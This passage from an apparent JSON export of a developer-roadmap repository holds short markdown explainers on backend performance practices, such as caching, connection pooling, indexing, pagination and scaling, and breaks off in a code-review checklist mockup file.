  },
  {
    "path": "src/data/best-practices/backend-performance/content/cache-invalidation.md",
    "content": "# Efficient Cache-Invalidation Strategies\n\nIn the realm of backend performance, adopting proper cache-invalidation strategies is highly relevant. Effective cache management takes the pressure off web servers by saving and displaying previously retrieved or computed data. However, the challenge arises when such cached data becomes outdated, or 'stale'. If not addressed, users may be presented incorrect or obsolete information. Good cache-invalidation strategies ensure that the system constantly refreshes or dumps outdated cache, keeping the data consistent and accurate. For example, using time-based strategies, a system could invalidate cache after a set period, essentially creating a self-maintenance regimen. Similarly, with a write-through approach, an application updates the cache immediately as changes are made, guaranteeing the users always receive the most recent data.\n\nVisit the following resources to learn more:\n\n- [@official@Cache Invalidation - Redis](https://redis.io/glossary/cache-invalidation/)\n- [@official@Cache invalidation overview - Google Cloud](https://cloud.google.com/cdn/docs/cache-invalidation-overview)"
  },
  {
    "path": "src/data/best-practices/backend-performance/content/caching-locations.md",
    "content": "# Implementing Caching at Various Levels\n\nIn web development, backend performance significantly depends on the speed at which data is fetched and delivered. Implementing caching at various levels like database query results, HTML fragments, or even full-page, boosts the efficiency of data retrieval processes. Through caching, redundant data fetching is avoided leading to faster response times and reduced server load. For instance, when a database query result is cached, the system doesn't have to run the same operation repetitively thus enhancing speed. Moreover, in HTML fragments caching, reusable parts of a web page get stored, so they don't have to be reprocessed for every request, improving load times. Full-page caching, on the other hand, saves a rendered copy of the whole page, offering immediate response upon user's request. Each of these cache implementations enhances performance, increases scalability and improves user experience in web applications."
  },
  {
    "path": "src/data/best-practices/backend-performance/content/caching-strategies.md",
    "content": "# Application of Suitable Caching Patterns\n\nFor optimal backend performance in web applications, implementing the correct caching approach, such as cache aside, write-through, or read-through caching, matters greatly. This is significant fundamentally because it reduces the load on your database, fetching data quicker and decreasing the latency time, leading to faster response times. For instance, consider a high-traffic e-commerce site where hundreds of thousands of product details need to be fetched simultaneously. If a suitable caching pattern like the read-through cache is applied here, it would handle retrieving data from the database when the cache is empty, ensuring that the application always receives data, improving the overall performance and user experience.\n\nVisit the following resources to learn more:\n\n- [@article@Introduction to Database Caching - Prisma](https://www.prisma.io/dataguide/managing-databases/introduction-database-caching)\n- [@article@Popular Caching Strategies - LinkedIn](https://www.linkedin.com/pulse/three-popular-caching-strategies-donny-widjaja-mspm-cspo/)\n- [@article@Caching Strategies - Medium](https://medium.com/@mmoshikoo/cache-strategies-996e91c80303)"
  },
  {
    "path": "src/data/best-practices/backend-performance/content/cdns.md",
    "content": "# Utilization of CDNs for Static and Frequently Accessed Assets\n\nFor optimal backend performance in web applications, the use of Content Delivery Networks (CDNs) for serving static and frequently accessed assets is paramount. CDNs enhance website loading speed by storing a cached version of its content in multiple geographical locations. As such, when a user requests a website, the content is delivered from the nearest server, dramatically reducing latency and packet loss. This is especially beneficial for static and frequently accessed assets that remain unchanged over time like CSS, JavaScript files or Image files. For instance, a user in London trying to access a US-based web application can retrieve static content from a closer server in the UK rather than crossing the Atlantic every time, ensuring efficient and speedy content delivery."
  },
  {
    "path": "src/data/best-practices/backend-performance/content/cleanup-data.md",
    "content": "# Regular Maintenance and Cleanup of Data\n\nOptimizing the backend performance in web applications depends greatly on how data is managed. Unnecessary or unused data could cause the system to slow down, impacting the efficiency of the backend processes. Regular cleanup of such data ensures that the server is not overburdened, allowing faster retrieval and storage of information. Similarly, routine database maintenance tasks like vacuuming and indexing help boost performance. Vacuuming helps remove stale or obsolete data, freeing up space and preventing system delays. Indexing, on the other hand, organizes data in a way that makes it easily retrievable, speeding up query response times. It's like using a well-organized filing system rather than a jumbled heap of papers. Additionally, optimizing queries aids in reducing the time taken for database interactions. An example of this would be replacing a nested query with a join, thereby reducing the processing time. Altogether, these practices lead to improved backend performance, ensuring smooth and efficient functioning of web applications.\n"
  },
  {
    "path": "src/data/best-practices/backend-performance/content/compiled-languages.md",
    "content": "# Utilizing Compiled Languages like Go or Rust\n\nThe backend performance of web applications can be substantially augmented by incorporating compiled languages such as Go or Rust. The essence of this lies in the manner these languages handle the conversion of code into machine language. Unlike interpreted languages, which convert the code into machine language during runtime, compiled languages do this step beforehand. This increased efficiency in translation results in faster performance of the code, especially valuable for performance-critical segments of your backend. For instance, Google uses Go language in several of their production systems for the very reason of increased performance and scalability. Similarly, Rust has gained acclaim in building highly concurrent and fast systems. Thus, using such compiled languages can greatly boost the overall backend performance."
  },
  {
    "path": "src/data/best-practices/backend-performance/content/connection-pool-settings.md",
    "content": "# Optimizing Connection Pool Settings\n\nBackend performance of web applications can be significantly improved by fine-tuning connection pool settings. One of the main causes of performance degradation is the unnecessary utilization of resources. If a web application can reuse existing connections (via connection reuse parameters), instead of creating new ones each time a user sends a request, it saves a lot of processing time and power thereby improving performance. Moreover, by limiting the maximum number of idle connections, and setting suitable idle timeouts, enormous amounts of resources can be conserved. This not only improves performance but also makes the application more scalable. For instance, consider an e-commerce website during a huge sale where thousands of users are constantly connecting and disconnecting. By leveraging optimized connection pool settings, the application can process user requests more efficiently and faster, thus enhancing the site's overall backend performance."
  },
  {
    "path": "src/data/best-practices/backend-performance/content/connection-pooling.md",
    "content": "# Connection Pooling: Reducing Connection Overhead\n\nEffective backend performance in web applications heavily relies on proficiently managing database connections, for which connection pooling plays a crucial role. When a web application needs to establish multiple connections or reconnect frequently, high overhead can become burdensome and slow down performance. Utilizing connection pools addresses this issue by enabling applications to reuse existing connections, rather than needing to establish a new one for each user or session that needs database access. For instance, in a high traffic eCommerce website, leveraging connection pooling can significantly reduce lag in loading product details or processing transactions, resulting in a smoother user experience and increased operational efficiency. By reducing connection overhead through connection pooling, backend performance is greatly enhanced, leading to an optimized and expedited data exchange process."
  },
  {
    "path": "src/data/best-practices/backend-performance/content/connection-timeouts.md",
    "content": "# Managing Network Issues: Setting Appropriate Connection Timeouts and Implementing Efficient Retry Mechanisms \n\nEfficient management of network issues directly contributes to enhanced backend performance in web applications. When an application attempts to establish a network connection, a reasonable connection timeout ensures the process doesn't hang indefinitely while waiting for a response. This allows for optimal system resource utilization, reducing unnecessary load on the server, thereby enhancing backend performance. For example, a server dealing with heavy traffic might cause delays. If the connection timeout is set too low, the application might terminate the process prematurely, reducing efficiency. Meanwhile, an effective retry mechanism is crucial to handle network failures. Without an efficient retry mechanism, network failures could trigger serious system errors or downtime. For example, if a network call fails due to temporary network issues, a well-implemented retry mechanism can attempt at re-establishing the connection, ensuring uninterrupted backend operations and enhanced application performance."
  },
  {
    "path": "src/data/best-practices/backend-performance/content/critical-paths.md",
    "content": "# Optimizing Critical Paths and Frequently Accessed Endpoints\n\nIn web applications, maintaining the overall system health is crucial, and an important aspect of this is the optimization of critical paths and frequently accessed endpoints. These paths and endpoints act as the vital junctions where most user requests are processed, converted, and delivered as output. Proper identification and optimization of these routes ensure seamless user experience and high-speed data delivery. For instance, when a user logs on to an e-commerce website, the critical paths may include user authentication, product search, and payment gateway. Prioritizing the performance of these backend endpoints helps in reducing latency and enhances page load speed, preserving optimum overall system health."
  },
  {
    "path": "src/data/best-practices/backend-performance/content/db-indexes.md",
    "content": "# Efficient Database Indexing\n\nIn web application development, efficient database indexing is instrumental in boosting backend performance. Indexes significantly cut short the time it takes for databases to retrieve and write data by providing swift navigational access to the rows in a table. For instance, a database without indexes may need to scan every row in a table to retrieve the required data, resulting in slow query response time. However, if the table is indexed, the same database can locate the data quickly and efficiently. It's akin to finding a book in a library - without a cataloguing system (index), you'd have to go through each book manually. With a cataloguing system (index), you can swiftly locate the exact book you need. Therefore, proper indexing strategy is key for high backend performance."
  },
  {
    "path": "src/data/best-practices/backend-performance/content/denormalize.md",
    "content": "# Denormalizing Database Schema for Read-Heavy Workloads and Reducing Join Operations\n\nWeb applications with high read demand benefit from a denormalized database schema, as it significantly improves backend performance. Primarily, denormalization reduces the need for costly join operations, making data retrieval quicker and more efficient. For example, an e-commerce application with millions of views per day would benefit from denormalized schema because each product page view might need to fetch data from multiple tables such as product, reviews, price, and vendor details. If these tables are denormalized into a single table, it eradicates the need for join operations, making the page load faster for end users. The subsequent boost in efficiency benefits the backend system by alleviating processing strain and enables it to deal with higher volume loads, thus enhancing overall backend performance."
  },
  {
    "path": "src/data/best-practices/backend-performance/content/enable-compression.md",
    "content": "# Enabling Compression for Responses\n\nOptimizing the backend performance of web applications often necessitates the enablement of compression for responses. Compression methods, such as Gzip or Brotli, reduce the size of the data transmitted between the server and the client. This result in faster data transfer, minimizing the load time of the web page and improving the user experience. For instance, if a web page has a size of 100 KB, applying compression can reduce it to 30 KB. This means less data to download, hence quicker loading times. Therefore, enabling compression for responses is critical in making web applications more efficient and responsive.\n\nLearn more from the following resources:\n\n- [@article@Medium - Spring Microservices: Data Compression Techniques for Faster Responses](https://medium.com/@AlexanderObregon/spring-microservices-data-compression-techniques-for-faster-responses-b61d3fc6fae1)\n- [@article@Digital Ocean - Getting Started with Compression in Node.js](https://www.digitalocean.com/community/tutorials/nodejs-compression)\n- [@article@Django.Fun - Middlewares](https://django.fun/docs/django/4.2/ref/middleware/#module-django.middleware.gzip)"
  },
  {
    "path": "src/data/best-practices/backend-performance/content/implement-pagination.md",
    "content": "# Efficient Pagination for Large Datasets\n\nHandling large datasets effectively is key to improving backend performance in web applications. When a database query returns too much data, it can lead to slow load times and a poor user experience. Implementing efficient pagination significantly reduces the amount of data to be processed at once, thus reducing server load and latency times. For example, instead of loading thousands, or even millions, of records in one go, pagination allows it to load only a specific number of records per page, boosting speed and efficiency. It helps ensure seamless data retrieval, an impressive server response time, and ultimately better overall performance."
  },
  {
    "path": "src/data/best-practices/backend-performance/content/index.md",
    "content": "# "
  },
  {
    "path": "src/data/best-practices/backend-performance/content/join-operations.md",
    "content": "# Optimizing Join Operations and Avoiding Unnecessary Joins \n\nIn the realm of backend performance, the efficiency of join operations weighs heavily. Join operations combine rows from two or more tables, an action that can be processor-intensive and can drastically slow down system response times. As the size and complexity of databases increase, so does the time taken for these operations. Hence, optimizing join operations is paramount. This could involve appropriately indexing your tables or using specific types of joins such as INNER JOIN or LEFT JOIN depending on your needs. Similarly, unnecessary joins can clutter system processes and slow down performance. For example, if two tables have no real association but are joined, data retrieval can become sluggish and inefficient. Hence, preventing unnecessary joins enhances the overall backend performance."
  },
  {
    "path": "src/data/best-practices/backend-performance/content/keep-alive.md",
    "content": "# Utilization of HTTP Keep-Alive for Reducing Connection Overhead \n\nSignificant enhancement in backend performance for web applications can be achieved through the utilization of HTTP keep-alive. This protocol allows for multiple HTTP requests to be sent over the same TCP connection. Typically, each new request from a client to a server would require a new TCP connection, and this process can be resource-intensive and slow as it involves a three-way handshake. With HTTP keep-alive, these overheads are greatly reduced as one connection can be reused for multiple requests. For example, in a web application where users constantly interact and request data, using this method can greatly speed up the load time and response, creating a smoother user experience."
  },
  {
    "path": "src/data/best-practices/backend-performance/content/lazy-eager.md",
    "content": "# Optimizing Data Retrieval with Lazy Loading, Eager Loading, and Batch Processing\n\nOptimizing data retrieval has a direct impact on backend performance in web applications. Specifically, features such as lazy loading, eager loading, and batch processing can greatly improve system responsiveness. Lazy loading, which entails loading data only when it's genuinely needed, can facilitate quicker initial page loading, thus improving user experience. On the contrary, eager loading minimizes the number of database queries by loading all necessary data upfront. While it may delay the initial loading process, it significantly speeds up subsequent data retrievals. In a similar vein, batch processing groups and executes similar tasks together, reducing the overhead associated with starting and ending tasks. These techniques are therefore crucial, as they help avoid performance bottlenecks and maintain efficient, seamless operation on the backend."
  },
  {
    "path": "src/data/best-practices/backend-performance/content/load-balancing.md",
    "content": "# Load Balancing for Traffic Distribution\n\nThe performance of a backend system in web applications hugely relies on the way it handles incoming traffic. If a server is overwhelmed with too much traffic, it may slow down significantly or, in the worst-case scenario, crash completely. Opting to use load balancing mitigates these risks. Load balancing involves distributing network traffic across multiple servers, thereby ensuring none is overwhelmed. This undoubtedly optimizes backend performance, maintaining system stability, and increasing the capacity to handle more traffic. For instance, high traffic websites like Amazon and Facebook use load balancers to evenly distribute millions of requests per day among countless servers, ensuring smooth and efficient service delivery."
  },
  {
    "path": "src/data/best-practices/backend-performance/content/message-brokers.md",
    "content": "# Utilizing Message Brokers for Async Communication Between Services\n\nBackend performance enhancement heavily relies on effective communication between diverse services. Message brokers, in this context, prove to be an essential instrument as they facilitate asynchronous communication, a method which boosts the system’s overall performance by allowing multiple operations to occur simultaneously. For instance, in a web application that processes online payments, a message broker can permit the receipt of payments (one service) to occur concurrently with updating the user’s payment history (another service). This prevents delays and halts, which means end users receive faster and smoother experiences. An improved backend performance, characterized by efficiency and time-effectiveness, makes this possible."
  },
  {
    "path": "src/data/best-practices/backend-performance/content/monitoring-logging.md",
    "content": "# Comprehensive Monitoring and Logging\n\nBackend performance can significantly affect the functionality and user experience of a web application. This necessitates the implementation of comprehensive monitoring and logging to track performance metrics and troubleshoot issues. These tactics give us eyes and ears within the performance of our application's infrastructure, helping identify potential bottlenecks or breakdowns. For example, monitoring could reveal that a particular database operation is taking longer than expected, which could be the cue to optimize the associated query. Similarly, logging will give us detailed records of application events, allowing us to trace and resolve any errors or issues captured in these logs. Unresolved issues can often slow down backend operations, or hamper their working altogether, hence impacting performance. Therefore, effective application of monitoring and validating logging data can enhance backend efficiency and bring valuable insights for further improvement."
  },
  {
    "path": "src/data/best-practices/backend-performance/content/network-latency.md",
    "content": "# Hosting Backend Close to Users to Minimize Network Latency\n\nIn web applications, reducing network latency can substantially enhance the backend performance. This means data has less distance to travel between users and servers, resulting in faster response times and smoother user experiences. For instance, if a company's primary user base resides in Asia but its server is in North America, the geographical gap can cause noticeable delays. However, by situating the backend near this Asia-based user base, data doesn't have to cross oceans and continents, making interactive web services more responsive and reliable. Hence, hosting the backend location close to the users is a crucial strategy in minimizing network latency."
  },
  {
    "path": "src/data/best-practices/backend-performance/content/offload-heavy.md",
    "content": "# Offloading Heavy Tasks to Background Jobs or Queues\n\nIn web applications, backend performance can be significantly optimized through the offloading of heavy tasks to background jobs or queues. If significant computational tasks or resource-intensive operations are processed in real-time, there can be a considerable slowdown in the system’s response time. This can lead to an undesirable user experience as requests take longer to process. In contrast, moving these heavy tasks to background processes allows for a more streamlined and efficient operation. For instance, creating a thumbnail for an uploaded image or sending a confirmation email could be moved to a background job, leaving the main thread free to handle user requests. This way, the user wouldn't have to wait unnecessarily and could continue navigating the website seamlessly, hence, improving overall system performance and responsiveness."
  },
  {
    "path": "src/data/best-practices/backend-performance/content/optimize-algorithms.md",
    "content": "# Optimization of Algorithms and Data Structures Used \n\nEfficient use and optimization of algorithms and data structures significantly contribute to improving backend performance in web applications. For instance, a well-optimized sorting algorithm can enhance data processing speed while providing quick access to information. In contrast, an inefficient algorithm can increase server load leading to slowdowns and higher response times. Similarly, using appropriate data structures reduces memory usage and enhances data management. A classic example is using hash tables for efficient search operations instead of an array, reducing the time complexity from O(n) to O(1). Therefore, optimizing algorithms and data structures is essential for competent backend performance."
  },
  {
    "path": "src/data/best-practices/backend-performance/content/orm-queries.md",
    "content": "# Fine-Tuning ORM Queries\n\nFor backend performance in web applications, one must diligently monitor and fine-tune Object-Relational Mapping (ORM) queries. Why? ORMs help to convert data between incompatible types, enabling database manipulations using an object-oriented paradigm. However, they can also generate heavy, inefficient SQL queries without proper management, creating lag in web performance. By keenly watching and fine-tuning these queries, you can ensure a smoother and faster data retrieval process, resulting in an overall boost to backend performance. For instance, ORM functions like eager loading and batch loading can be used to fetch related data in fewer queries, reducing load times and enhancing performance."
  },
  {
    "path": "src/data/best-practices/backend-performance/content/pagination-large-data.md",
    "content": "# Efficient Pagination for Large Datasets\n\nBackend performance in web applications can significantly be improved with efficient pagination for large datasets. When data-loaded in an application is quite extensive, executing simple queries without pagination can slow down response times, producing an adverse user experience. Through pagination, applications can deliver data in smaller, manageable chunks, reducing the amount of data transferred on each request and thereby increasing the speed and performance of the backend. For instance, instead of retrieving a million records at once, the application retrieves chunks of 50 or 100 at a time, dramatically enhancing the performance.\n\nLearn more from the following resources:\n\n- [@article@Merge.Dev - A guide to REST API pagination](https://www.merge.dev/blog/rest-api-pagination)\n- [@article@Dev.to - Unlocking the Power of API Pagination: Best Practices and Strategies](https://dev.to/pragativerma18/unlocking-the-power-of-api-pagination-best-practices-and-strategies-4b49)\n"
  },
  {
    "path": "src/data/best-practices/backend-performance/content/perf-testing.md",
    "content": "# Regular Performance Testing and Benchmarking\n\nMaintaining optimal backend performance in web applications involves consistent and regular performance testing and benchmarking. This practice helps in pinpointing any performance regressions which could otherwise significantly slow down the applications, leading to a subpar user experience. For example, if a new feature introduces memory leaks, regular testing can catch it before the feature is deployed. It also highlights improvements and illustrates the actual impact of optimization efforts over time. Through regular testing, ineffective optimizations can be scrapped before too many resources are invested into them, while beneficial strategies can be identified and further fine-tuned. Consequently, these actions contribute to a more efficient and productive application performance management strategy."
  },
  {
    "path": "src/data/best-practices/backend-performance/content/prefetch-preload.md",
    "content": "# Optimising Backend Performance through Prefetching or Preloading Resources\n\nThe optimisation of backend performance in web applications involves proactively fetching or loading resources, data, or dependencies needed for future requests. By performing these operations in advance, costly delays (latency) are reduced significantly. This process ensures that resources are available as soon as they are required, resulting in a seamless and faster interaction for users. For instance, when a user opens a site, if images or other data that are likely to be used next are already preloaded, the user will not experience any delay as these elements load. As such, prefetching or preloading is critical to improve the overall speed of a web application, directly enhancing user experience."
  },
  {
    "path": "src/data/best-practices/backend-performance/content/profile-code.md",
    "content": "# Identifying Performance Bottlenecks through Code Profiling\n\nThe effective performance of a web application's backend heavily relies on the smooth operation of its code. Profiling is the process of monitoring the behaviour of your code, including the frequency and duration of function calls. This allows for the identification of performance bottlenecks—specific parts of the code that impede optimal performance. For example, a function that requires significant processing power and slows down the application can be revealed through code profiling. By identifying and resolving these bottlenecks, the backend performance can be dramatically improved, leading to faster response times and enhanced user experience."
  },
  {
    "path": "src/data/best-practices/backend-performance/content/profiling-tools.md",
    "content": "# Use of Profiling Tools in Database Management\n\nThe backend performance of web applications can greatly benefit from the utilization of profiling tools provided by the database. These tools allow for the identification and isolation of performance bottlenecks within an application. By identifying slow queries or areas of inefficient data retrieval, detection of these issues early-on can prevent the propagation of defects through the application, ultimately enhancing user experience. For instance, MySQL features a database profiling tool that can identify query performance through examination of query execution times. Profiling not only contributes to maintaining the speed and efficiency of a website, but also enables developers to optimize their code more effectively, saving valuable development time and resources."
  },
  {
    "path": "src/data/best-practices/backend-performance/content/prometheus-graphana.md",
    "content": "# Backend Monitoring with Prometheus, Grafana, ELK Stack\n\nEfficiency and rate of performance are paramount for the backend processes in web applications. Utilizing performance monitoring tools such as Prometheus, Grafana, and the ELK Stack ensures that any issues impacting performance can be promptly identified and rectified. For example, Prometheus offers robust monitoring capabilities by collecting numeric time series data, presenting a detailed insight into the application's performance metrics. Grafana can visualize this data in an accessible, user-friendly way, helping developers to interpret complex statistics and notice trends or anomalies. Meanwhile, the ELK Stack (Elasticsearch, Logstash, Kibana) provides log management solutions, making it possible to search and analyze logs for indications of backend issues. By using these tools, developers can effectively keep backend performance at optimal levels, ensuring smoother user experiences.\n\n- [@video@Tutorial - Grafana Explained in 3 minutes](https://www.youtube.com/watch?v=X-GLqyMZaJk)"
  },
  {
    "path": "src/data/best-practices/backend-performance/content/reasonable-payload.md",
    "content": "# Enforcing Reasonable Payload Size Limits\n\nBackend performance in web applications largely depends on how quickly servers are able to process, store, and retrieve data. When large data payloads are transferred, it places a heavy strain on network resources and the server itself; potentially resulting in sluggish response times and poor application performance. Hence, enforcing reasonable payload size limits is vital to maintain optimum performance. For example, a web application dealing with large image files can implement limits to ensure that users don't upload images beyond a certain size. This not only helps to keep server and bandwidth costs manageable, but also ensures that the application runs smoothly for all users.\n\nVisit the following resources to learn more:\n\n- [@website@Expressjs - Fast, unopinionated, minimalist web framework for Node.js](https://expressjs.com/en/resources/middleware/body-parser.html)\n- [@website@Nginx - HTTP web server, reverse proxy, content cache, load balancer, TCP/UDP proxy server, and mail proxy server](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size)"
  },
  {
    "path": "src/data/best-practices/backend-performance/content/regular-audits.md",
    "content": "# Regular Auditing and Updating Security Measures\n\nSecuring the backend of your web application is paramount to maintaining peak performance. If a system is compromised due to outdated security measures, hackers could leverage this access to disrupt the performance of the site. For instance, an attacker may deploy a DDoS attack, rendering the service slow or completely unavailable. By conducting regular audits and updates of security measures, possible vulnerabilities can be identified and solved before they turn into larger performance affecting issues. This proactive approach supports stable operation, ensures smooth access for users, and promotes overall backend performance."
  },
  {
    "path": "src/data/best-practices/backend-performance/content/replication.md",
    "content": "# Database Replication for Redundancy and Enhanced Read Performance\n\nSafeguarding backend performance necessitates database replication, as it increases redundancy thus enhancing data consistency across different systems. It facilitates simultaneous access to the same data from various servers, which significantly optimizes read performance. This is particularly beneficial for web applications that experience substantial read loads. For example, consider a busy e-commerce site during a sales event. If all read and write operations occur on the same database, it could lead to performance lags. However, with database replication, such high-volume read operations can be redirected to replicated servers, assuring smooth and efficient customer experiences."
  },
  {
    "path": "src/data/best-practices/backend-performance/content/request-throttling.md",
    "content": "# Implementing Request Throttling and Rate Limiting \n\nIn the context of backend performance, implementing request throttling and rate limiting acts as a defensive mechanism against system overload. These practices help in managing the flow of incoming requests to a level that the system can handle comfortably, thereby improving responsiveness and reliability. For instance, during a high traffic spike, uncontrolled, simultaneous requests might exhaust system resources leading to service disruption. However, with request throttling and rate limiting, you can control this traffic ensuring a steady performance. Furthermore, it also provides a layer of security by thwarting potential DDoS attacks which aim to flood the system with requests leading to a system crash."
  },
  {
    "path": "src/data/best-practices/backend-performance/content/scaling-strategies.md",
    "content": "# Proper Implementation of Horizontal or Vertical Scaling \n\nAn optimal backend performance in web applications relies heavily on implementing the right type of scaling, whether horizontal or vertical. In vertical scaling, additional resources are added to increase the capacity of an existing machine. It helps in the short run by quickly accommodating an increased load, but may be limited by the maximum capacity of individual servers. In contrast, horizontal scaling provides longer-term scalability by adding more machines to the existing pool. This improves the redundancy and reliability of the application and can handle significantly larger loads without relying on high-spec servers. A careful balance or judicious use of both can drastically improve backend performance. For example, a sudden surge in website traffic can be swiftly managed with vertical scaling while consistent long-term growth can be accommodated with horizontal scaling. Therefore, the decision of using horizontal or vertical scaling is pivotal in determining backend performance."
  },
  {
    "path": "src/data/best-practices/backend-performance/content/select-star.md",
    "content": "# Data Optimization: Avoid Select * Queries and Fetch Only Required Columns\n\nEfficiency in the backend of web applications can be significantly improved by careful data queries. By avoiding the use of \"Select *\" queries, and instead only fetching the necessary columns, you reduce the load and strain on the database. This can not only accelerate the response time, but also reduces the storage usage, thereby improving the overall performance. To illustrate, consider a large database with hundreds of columns; using \"Select *\" would fetch all that data unnecessarily when you might only need data from three or four columns. This smart selection contributes immensely to a more optimal backend performance."
  },
  {
    "path": "src/data/best-practices/backend-performance/content/similar-requests.md",
    "content": "# Minimizing Overhead Through Batch Processing\n\nThe capacity of a web application's backend to process large volumes of data promptly and efficiently plays a crucial role in its performance. Grouping similar requests together in a batch, rather than processing them individually, considerably reduces data transfer overhead. This is because it minimizes the number of round trips, or interactions between the client and server to obtain a response. For instance, in an e-commerce application, instead of retrieving each product detail individually, batching gathers all product details in a single request, which enhances response times and overall performance."
  },
  {
    "path": "src/data/best-practices/backend-performance/content/slow-logging.md",
    "content": "# Slow-Query Logging and Regular Monitoring\n\nKeeping tabs on slow-query logging is vital for backend performance since it can help in identifying inefficient queries that may drag down the server's productivity. For instance, a slow query might be taking an exceptionally long time to navigate through a large database, causing delays in information retrieval. By enabling slow-query logging, such ineffective queries can be spotted and optimized or reworked to minimize their run-time. Thus, it aids in maintaining smooth and efficient server operation while enhancing the application's overall performance. Continuous monitoring of these logs can also point out recurring issues that need addressing, making it an indispensable tool for optimizing backend performance."
  },
  {
    "path": "src/data/best-practices/backend-performance/content/streaming-large.md",
    "content": "# Streaming of Large Requests/Responses\n\nIn web application backend performance, the implementation of streaming large requests and responses is essential to maximize efficiency and speed. This is because streaming, unlike traditional methods, doesn't require the entire file to load before it can be accessed. This means that large data pieces are broken down into more manageable, smaller chunks which are then processed separately. Streaming minimizes memory usage, prevents potential timeouts, and reduces the latency between the client and server. For instance, when streaming a video, the user doesn't have to wait for the full video to buffer, hence enhancing user experience by delivering content faster and more seamlessly."
  },
  {
    "path": "src/data/best-practices/backend-performance/content/unnecessary-computation.md",
    "content": "# Minimising Unnecessary Processing or Expensive Computation on the Server\n\nEfficient backend performance in web applications is often determined by how well unnecessary processing or expensive computations are minimised on the server. When an application is free of excess processing or complex computations, it expends less energy, executes tasks swiftly, and reduces any potential downtime. This remarkably improves the application's response time to user requests. For example, instead of calculating the same data repeatedly for different users, the application can calculate once, store the result, and then provide this stored result upon user request. This essentially minimises unnecessary processes, thereby enhancing the web application's backend performance.\n\nLearn more from the following resources:\n\n- [@video@Youtube - Caching with redis and Django](https://youtu.be/5W2Yff00H8s)"
  },
  {
    "path": "src/data/best-practices/backend-performance/content/up-to-date.md",
    "content": "# Maintaining Updated Dependencies\n\nKeeping your dependencies up to date is crucial for optimizing backend performance in web applications. Regular updates bring new features, improvements, and important patches for security vulnerabilities that could harm the performance and security of your application. An outdated package, for example, may run inefficiently or even prevent other components from functioning at peak performance. This creates a ripple effect that could slow down or disrupt entire processes. Therefore, staying current with all updates enhances the robustness and operational efficiency, contributing to faster load times, better stability, and ultimately, an improved user experience.\n\n[@video@Tutorial - dependabot on GitHub](https://www.youtube.com/watch?v=TnBEVPUsuAw)"
  },
  {
    "path": "src/data/best-practices/backend-performance/content/use-db-sharding.md",
    "content": "# Database Sharding for Data Distribution \n\nWhen it comes to backend performance, the effectiveness of data management is critical. Here lies the value of database sharding, a type of database partitioning that separates very large databases into smaller, faster, more easily managed parts called data shards. Sharding can enhance the speed of data retrieval by spreading the load across multiple servers, thereby reducing bottlenecks and improving overall application responsiveness. For instance, in an e-commerce application with a worldwide customer base, data can be sharded on a geographical basis to ensure faster loading times for consumers, no matter where they are located. This improves user experience and ensures smooth operation on the backend side."
  },
  {
    "path": "src/data/best-practices/backend-performance/content/utilize-caching.md",
    "content": "# Utilizing Caching Mechanisms \n\nBackend performance of web applications can see substantial improvements when effective caching mechanisms, like HTTP, server/client, and CDN are properly implemented. Caching can significantly decrease the load on the server, minimising the effort necessary to generate a response to a user's request. For example, when a user revisits a previously accessed web page, caching mechanisms retrieve stored information more swiftly than the server could generate it. This process effectively cuts down on latency, bandwidth usage and processing power, speeding up the loading times and contributing to smoother user experience. CDN-based caches also help in serving static resources to users from the nearest possible location, reducing network latency.\n\nVisit the following resources to learn more:\n\n- [@article@What is Caching - AWS](https://aws.amazon.com/caching/)\n- [@article@Caching - Cloudflare](https://www.cloudflare.com/learning/cdn/what-is-caching/)\n- [@article@Caching - System Design Concept - GeeksforGeeks](https://www.geeksforgeeks.org/system-design/caching-system-design-concept-for-beginners/)\n- [@video@Getting Started with Caching - Youtube](https://www.youtube.com/watch?v=tCEzxbuOjLs)"
  },
  {
    "path": "src/data/best-practices/code-review/code-review.json",
    "content": "{\"mockup\":{\"controls\":{\"control\":[{\"ID\":\"2466\",\"typeID\":\"Arrow\",\"zOrder\":\"0\",\"w\":\"1\",\"h\":\"81\",\"measuredW\":\"150\",\"measuredH\":\"100\",\"x\":\"859\",\"y\":\"4412\",\"properties\":{\"curvature\":\"0\",\"leftArrow\":\"false\",\"rightArrow\":\"false\",\"stroke\":\"dotted\",\"color\":\"10027263\",\"p0\":{\"x\":0,\"y\":0},\"p1\":{\"x\":0.49999999999999994,\"y\":0},\"p2\":{\"x\":0,\"y\":81.09090909090901}}},{\"ID\":\"2471\",\"typeID\":\"Arrow\",\"zOrder\":\"1\",\"w\":\"1234\",\"h\":\"1\",\"measuredW\":\"150\",\"measuredH\":\"100\",\"x\":\"239\",\"y\":\"413\",\"properties\":{\"curvature\":\"0\",\"leftArrow\":\"false\",\"rightArrow\":\"false\",\"color\":\"4273622\",\"p0\":{\"x\":-0.3879633062732637,\"y\":0},\"p1\":{\"x\":0.4999449522687742,\"y\":0.0003335799224988863},\"p2\":{\"x\":1233.8055670724293,\"y\":0}}},{\"ID\":\"2472\",\"typeID\":\"Canvas\",\"zOrder\":\"45\",\"w\":\"293\",\"h\":\"50\",\"measuredW\":\"100\",\"measuredH\":\"70\",\"x\":\"407\",\"y\":\"387\",\"properties\":{\"color\":\"16776960\"}},{\"ID\":\"2475\",\"typeID\":\"Label\",\"zOrder\":\"4\",\"measuredW\":\"260\",\"measuredH\":\"48\",\"x\":\"730\",\"y\":\"227\",\"properties\":{\"text\":\"Code Reviews\",\"size\":\"40\"}},{\"ID\":\"2476\",\"typeID\":\"Canvas\",\"zOrder\":\"5\",\"w\":\"361\",\"h\":\"150\",\"measuredW\":\"100\",\"measuredH\":\"70\",\"x\":\"1116\",\"y\":\"188\"},{\"ID\":\"2477\",\"typeID\":\"Label\",\"zOrder\":\"6\",\"measuredW\":\"332\",\"measuredH\":\"26\",\"x\":\"1132\",\"y\":\"206\",\"properties\":{\"text\":\"Find the detailed version of this checklist\",\"size\":\"18\"}},{\"ID\":\"2478\",\"typeID\":\"Label\",\"zOrder\":\"7\",\"measuredW\":\"318\",\"measuredH\":\"26\",\"x\":\"1132\",\"y\":\"234\",\"properties\":{\"size\":\"18\",\"text\":\"With details on how to implement 